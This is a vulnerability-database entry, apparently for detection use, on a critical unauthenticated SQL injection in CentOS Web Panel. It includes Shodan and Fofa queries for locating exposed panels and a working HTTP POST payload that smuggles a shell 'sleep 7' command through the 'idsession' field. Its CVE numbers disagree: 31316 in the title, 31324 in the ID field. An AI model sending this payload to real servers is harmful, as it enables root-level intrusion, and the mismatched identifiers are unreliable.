🔙 목록으로 돌아가기

CVE-2021-31316: CentOS Web Panel - SQL Injection

TitleCentOS Web Panel - SQL Injection
Authorritikchaddha
SeverityCritical
ImpactUnauthenticated attackers can exploit SQL injection via the idsession parameter to extract database contents or execute arbitrary commands with root privileges.
RemediationApply security updates provided by CentOS Web Panel.
CVSS Score9.8
EPSS Score0.65425
CVE IDCVE-2021-31324
CWE IDCWE-89
Shodan Querytitle:"Login | Control WebPanel"
Fofa Querytitle="Login | Control WebPanel"
Tags cve cve2021 centos cwpsrv sqli vuln

🔍 Vulnerability Description

The unprivileged user portal part of CentOS Web Panel is affected by a SQL Injection via the ‘idsession’ HTTP POST parameter.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /login/index.php?acc=newpass HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 198
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

pass1=c3VwZXJwYXNzd29yZA%3D%3D&idsession=a'%20UNION%20SELECT'a'%2c'b'%2c'c'%2c'YWJjIiBVTklPTiBTRUxFQ1QgJ2EnLCdiJywnYycsJ2QnLCcrMSBkYXknLCdmJy0tIHAiO3NsZWVwIDc7I2B8fGF8fGJ8fGN8fGQ%3d'%2c'e'%2c'f'-- p

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31316.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-31316.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A